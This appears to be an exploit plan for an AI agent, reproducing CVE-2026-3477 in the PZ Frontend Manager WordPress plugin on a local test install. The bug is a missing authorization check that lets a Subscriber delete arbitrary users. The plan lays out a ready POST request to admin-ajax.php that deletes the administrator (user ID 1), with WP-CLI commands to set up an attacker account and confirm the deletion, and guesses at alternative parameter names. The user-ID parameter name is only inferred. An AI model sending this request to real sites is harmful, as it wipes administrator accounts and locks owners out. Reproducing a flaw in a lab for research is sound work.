PZ Frontend Manager <= 1.0.6 - Missing Authorization to Arbitrary User Deletion via 'dataType' Parameter

This research plan outlines the steps to exploit CVE-2026-3477, a missing authorization vulnerability in the PZ Frontend Manager plugin that allows authenticated attackers (Subscriber+) to delete arbitrary WordPress users, including administrators.

---

1. Vulnerability Summary

The vulnerability exists in the pzfm_user_request_action_callback() function, which is hooked to the wp_ajax_pzfm_user_request_action AJAX action. This function handles user management operations (activation, deactivation, and deletion). It lacks:

1. Capability Checks: It does not verify if the user has the delete_users or manage_options capability.
2. Nonce Verification: It does not use check_ajax_referer or wp_verify_nonce.

When the dataType parameter is set to 'delete', the function proceeds to call wp_delete_user() on a set of user IDs provided in the request.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: pzfm_user_request_action
• Method: POST
• Payload Parameter: dataType must be set to delete.
• User ID Parameter: (Inferred) Likely userIds[] or ids[].
• Authentication: Authenticated (Subscriber-level access or higher).
• Preconditions: The attacker must know the ID of the user they wish to delete (Administrator is typically ID 1).

3. Code Flow

1. Entry Point: An authenticated user sends a POST request to admin-ajax.php with action=pzfm_user_request_action.
2. Hook Registration: The plugin registers the action:
   add_action( 'wp_ajax_pzfm_user_request_action', 'pzfm_user_request_action_callback' );
3. Vulnerable Callback: pzfm_user_request_action_callback() is executed.
4. Parameter Check: The function checks if ( $_POST['dataType'] == 'delete' ) (or similar).
5. Missing Security: The function bypasses current_user_can() and check_ajax_referer().
6. Sink: The code iterates through the provided IDs and calls wp_delete_user( $user_id ).

4. Nonce Acquisition Strategy

According to the vulnerability description, the pzfm_user_request_action_callback() function lacks nonce verification. Therefore, no nonce is required to exploit this specific endpoint.

(Note: If a nonce were required, the agent would create a page with the plugin's frontend manager shortcode and use browser_eval to extract it from the localized JS objects.)

5. Exploitation Strategy

Step 1: Locate the Vulnerable Function and Parameter

The agent should first confirm the exact parameter name used for user IDs by searching the plugin source.

grep -rn "function pzfm_user_request_action_callback" /var/www/html/wp-content/plugins/pz-frontend-manager/

In the function body, look for how user IDs are retrieved (e.g., $_POST['ids'] or $_POST['userIds']).

Step 2: Perform the Deletion Request

Assuming the parameter is userIds and the target Administrator ID is 1:

HTTP Request (via http_request tool):

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=pzfm_user_request_action&dataType=delete&userIds[]=1
  

  (Note: If the grep in Step 1 reveals a different parameter name, replace userIds[] accordingly.)

6. Test Data Setup

1. Victim: Ensure an Administrator user exists with ID 1 (default for WordPress installations).
2. Attacker: Create a Subscriber-level user to perform the attack.

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password
   

3. Plugin Activation: Ensure the plugin is active.

   wp plugin activate pz-frontend-manager
   

7. Expected Results

• Response: The server should return a successful AJAX response (often 1, 0, or a JSON success message).
• Action: The Administrator user with ID 1 should be removed from the wp_users table.

8. Verification Steps

After sending the exploit request, verify the user deletion using WP-CLI:

# Check if the administrator still exists
wp user list --role=administrator

# Specifically check for ID 1
wp user get 1

If the exploit is successful, wp user get 1 will return an error stating "Invalid user ID".

9. Alternative Approaches

If userIds[] does not work, the plugin might expect:

1. A comma-separated string: userIds=1,2,3
2. A single integer: user_id=1
3. The ID passed via a generic id parameter: id=1

The agent should check the pzfm_remove_item_callback() function mentioned in the description for comparison, as that function does include the proper checks and likely uses the same parameter structure.

grep -rn "function pzfm_remove_item_callback" /var/www/html/wp-content/plugins/pz-frontend-manager/